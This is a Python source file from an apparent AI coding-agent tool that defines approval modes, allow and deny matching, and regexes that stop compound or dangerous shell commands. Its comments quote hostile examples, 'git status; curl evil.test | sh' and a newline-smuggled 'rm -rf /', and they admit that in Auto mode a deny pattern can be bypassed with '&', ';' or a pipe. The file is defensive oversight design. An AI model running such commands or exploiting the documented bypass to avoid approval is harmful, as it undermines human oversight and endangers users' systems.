LLeMbas/src/lembas/services/agent/policy.py

"""What an agent chat is allowed to do without asking.

Four modes, one table, indexed by what a tool does to the world. Adding a mode
is a row; adding a risk class is a column. Anything that needs an `if mode ==`
somewhere else in the codebase is a sign this table is wrong rather than that
the table is insufficient.

The important thing about all of it: **this is consulted in the generation loop,
not written into the prompt.** A mode a model is merely told about is a mode a
model can be talked out of, and everything a model reads -- a web page, a
README, the output of a command it just ran -- is untrusted text that may be
trying to do exactly that.
"""

from __future__ import annotations

import re
from dataclasses import dataclass
from fnmatch import fnmatch

from lembas.services.tools import RISK_ASK, RISK_EXECUTE, RISK_READ, RISK_WRITE

MODE_MANUAL = "manual"
MODE_EDIT = "edit"
MODE_AUTO = "auto"
MODE_PLAN = "plan"

MODES = (MODE_MANUAL, MODE_EDIT, MODE_AUTO, MODE_PLAN)

MODE_LABELS = {
    MODE_MANUAL: "Manual",
    MODE_EDIT: "Edit",
    MODE_AUTO: "Auto",
    MODE_PLAN: "Plan",
}

MODE_HINTS = {
    MODE_MANUAL: "Everything is shown to you before it happens.",
    MODE_EDIT: "Files are read and written freely; commands are shown to you first.",
    MODE_AUTO: "Nothing is shown to you first. Only for work you would do yourself.",
    MODE_PLAN: "Reads freely, changes nothing, and finishes by proposing a plan.",
}

# What the *model* is told about the mode it is in. Different words from
# MODE_HINTS, which describes it to a person: this is about how to behave, and
# says the one thing that changes what a competent model does -- that being
# stopped for approval is normal and worth batching for.
MODE_GUIDANCE = {
    MODE_MANUAL: (
        "You are in **Manual** mode: everything you do is shown to them for "
        "approval first. Expect to be interrupted, and say what you are about "
        "to do before you do it."
    ),
    MODE_EDIT: (
        "You are in **Edit** mode: you may read and write files freely, but "
        "every command is shown to them for approval first. Prefer reading and "
        "writing files over shelling out where both would work."
    ),
    MODE_AUTO: (
        "You are in **Auto** mode: nothing is shown to them first. That is trust "
        "rather than permission — be as careful as you would be if each step "
        "were being watched, and stop to say so if you find yourself about to "
        "do something you could not undo."
    ),
    MODE_PLAN: (
        "You are in **Plan** mode: read and explore freely, but change nothing. "
        "Research before you propose anything — read the files, run the "
        "read-only commands, look at what is actually there rather than at what "
        "is usually there. If the scope is genuinely ambiguous, and only then, "
        "ask with ask_user before planning rather than planning for the wrong "
        "thing; put everything you need into one question. Then finish with "
        "plan_submit: what you found, what the work is for, and the work itself "
        "as phases of concrete tasks. Anything that writes or runs will be "
        "stopped for approval, so do not rely on it."
    ),
}

ALLOW = "allow"
ASK = "ask"

# The whole feature. Read across a row to see what a mode means.
POLICY: dict[str, dict[str, str]] = {
    MODE_MANUAL: {RISK_READ: ASK, RISK_WRITE: ASK, RISK_EXECUTE: ASK},
    MODE_EDIT: {RISK_READ: ALLOW, RISK_WRITE: ALLOW, RISK_EXECUTE: ASK},
    MODE_AUTO: {RISK_READ: ALLOW, RISK_WRITE: ALLOW, RISK_EXECUTE: ALLOW},
    MODE_PLAN: {RISK_READ: ALLOW, RISK_WRITE: ASK, RISK_EXECUTE: ASK},
}

# A shell metacharacter makes a command line unmatchable, so no pattern may be
# applied to it. Without this, `git *` in an allow list also matches
# `git status; curl evil.test | sh`, which is the whole ballgame. That half is
# absolute and is what this constant exists for.
#
# The deny list is the other half, and it has been decided both ways. There was
# once a rule that an unmatchable line ASKed whenever a deny list existed at
# all, on the grounds that `shutdown -h now` asked while `shutdown -h now &`
# ran. It is gone: the shipped deny list is non-empty, so that rule made *every*
# compound command ask in Auto -- `cd build && make`, `pytest | tail`, anything
# with a pipe -- and a mode whose whole purpose is not asking asked about most
# real commands. It was not a security control anybody experienced as one; it
# was Auto appearing not to work.
#
# So an unmatchable line now falls through to the mode, and in Auto the mode is
# ALLOW. What that gives up, plainly: a deny pattern can be walked past with a
# trailing `&`, a `;` or a pipe. Auto is the only mode where this is reachable,
# because Manual, Edit and Plan all ASK on RISK_EXECUTE regardless. The allow
# list is untouched by the change and still cannot be matched at all.
#
# The upgrade that would restore both properties is to split a composed line on
# these metacharacters and check every segment against the deny list only. It is
# confined to `decide` and is worth doing; it is not done here.
_UNSAFE = re.compile(r"[;&|<>`$\n\\()]")

# Flags that turn a "read-only" command into one that writes or executes, on
# tools whose *name* is on somebody's allow list.
#
# `_UNSAFE` stops a command line being composed out of two commands. It does
# nothing about a single command that composes one itself, and several of the
# obvious read-only tools do: `find -exec cmd +` runs a program, `-fprintf`
# writes a file, `-delete` removes one, and `rg --pre` runs a preprocessor for
# every file it opens. None of those needs a character `_UNSAFE` refuses, so
# `find *` on an allow list -- which is what a subagent gets, in every mode --
# was arbitrary write and arbitrary execution wearing a read-only name.
#
# Refused here rather than trimmed from the allow list alone, because the list
# is the thing an administrator edits and "this one looks read-only" is exactly
# the reasoning that put `find *` there. A pattern cannot express "and no
# dangerous flags"; this can.
#
# Matched on the *normalised* line and word-bounded, so `docs/-exec-notes.md`
# is fine -- the flag has to stand alone as an argument.
#
# It does catch `grep -rn -- -delete src/`, where the word is a search term
# rather than a flag, and that is the right direction to be wrong in: a false
# refusal here means the call falls through to the policy table and asks, which
# costs one approval card. A false allow means an unattended helper writing
# files. Nothing is *blocked* by this -- a reader in Auto still gets it, and in
# any other mode they are shown it first, which is what they would want to be
# shown.
_ACTION = re.compile(
    r"(?:^|\s)-(?:exec|execdir|ok|okdir|fprintf|fprint|fprint0|delete)(?=\s|$)"
    r"|(?:^|\s)--(?:pre|search-zip|hostname-bin)(?=[\s=]|$)"
)


@dataclass(frozen=True)
class Decision:
    verdict: str
    reason: str = ""


@dataclass(frozen=True)
class Limits:
    """What one agent reply may spend.

    Four axes because they fail differently. Wall clock stops a single slow
    command eating an afternoon; `output_bytes` stops a model filling its own
    context with build logs and having no room left to answer; and
    `completion_tokens` stops one that keeps writing.

    `steps` is the odd one out. It is a **runaway backstop, not a working
    budget** -- an agent reply is meant to run until the task is finished, and a
    step count low enough to be the thing that ends it is a count that ends it
    halfway. It was 40, which is a working budget, and it was reached. Anything
    that wants a real ceiling should set `completion_tokens`, which measures
    what a long reply actually costs.

    `completion_tokens` of 0 means no ceiling, the same convention `index_chars`
    uses in the settings store.
    """

    steps: int = 200
    wall_seconds: float = 900.0
    output_bytes: int = 1024 * 1024
    completion_tokens: int = 200_000


def subject(tool_name: str, command: str = "") -> str | None:
    """What a pattern is matched against, or None when nothing may match it.

    For everything but a command it is the tool name, so `file_read` in an
    allow list means "reading files never asks". For `shell_run` it is the
    command line, normalised -- unless it contains anything that composes two
    commands into one, in which case no pattern is allowed to match at all.
    """
    if tool_name != "shell_run":
        return tool_name
    raw = command or ""
    # Checked BEFORE whitespace is normalised. Collapsing runs of whitespace
    # first would turn "git status\nrm -rf /" into a single innocent-looking
    # line and let it match `git *` -- a newline separates two commands exactly
    # as a semicolon does.
    if _UNSAFE.search(raw):
        return None
    line = " ".join(raw.split())
    if _ACTION.search(line):
        return None
    return line or None


def _matches(patterns: tuple[str, ...], candidate: str | None) -> str:
    if candidate is None:
        return ""
    for pattern in patterns:
        if fnmatch(candidate, pattern):
            return pattern
    return ""


def decide(
    *,
    mode: str,
    risk: str,
    tool_name: str,
    command: str = "",
    allow: tuple[str, ...] = (),
    deny: tuple[str, ...] = (),
) -> Decision:
    """What to do about one call.

    The order is the design:

    1. A deny wins before everything, **including Auto**. A deny list that Auto
       ignores is not a deny list, it is a suggestion.
    2. `ask` never resolves to allow. `ask_user` asks in every mode; that is
       what the tool is for, and a mode that skipped it would answer the
       model's question on the reader's behalf.
    3. An allow-list hit runs it.
    4. Otherwise the table.

    A command line carrying a shell metacharacter matches neither list, so it
    reaches the table and Auto runs it. See the note above `_UNSAFE` for what
    that trades away and why.

    An unrecognised mode is treated as Manual, not Auto: a row that predates a
    rename has to fail towards asking.
    """
    candidate = subject(tool_name, command)

    hit = _matches(deny, candidate)
    if hit:
        return Decision(ASK, f"“{hit}” is on the list of commands to always ask about.")

    if risk == RISK_ASK:
        return Decision(ASK, "")

    if mode not in POLICY:
        return Decision(ASK, f"“{mode}” is not a mode I know, so I am asking.")

    hit = _matches(allow, candidate)
    if hit:
        return Decision(ALLOW, f"“{hit}” is on the list of things to allow.")

    verdict = POLICY[mode].get(risk, ASK)
    if verdict == ALLOW:
        return Decision(ALLOW, "")

    label = MODE_LABELS.get(mode, mode)
    return Decision(ASK, f"{label} mode asks before anything that {_verb(risk)}.")


def _verb(risk: str) -> str:
    return {
        RISK_READ: "reads",
        RISK_WRITE: "changes a file",
        RISK_EXECUTE: "runs a command",
    }.get(risk, "does this")


__all__ = [
    "ALLOW",
    "ASK",
    "MODES",
    "MODE_AUTO",
    "MODE_EDIT",
    "MODE_GUIDANCE",
    "MODE_HINTS",
    "MODE_LABELS",
    "MODE_MANUAL",
    "MODE_PLAN",
    "POLICY",
    "Decision",
    "Limits",
    "decide",
    "subject",
]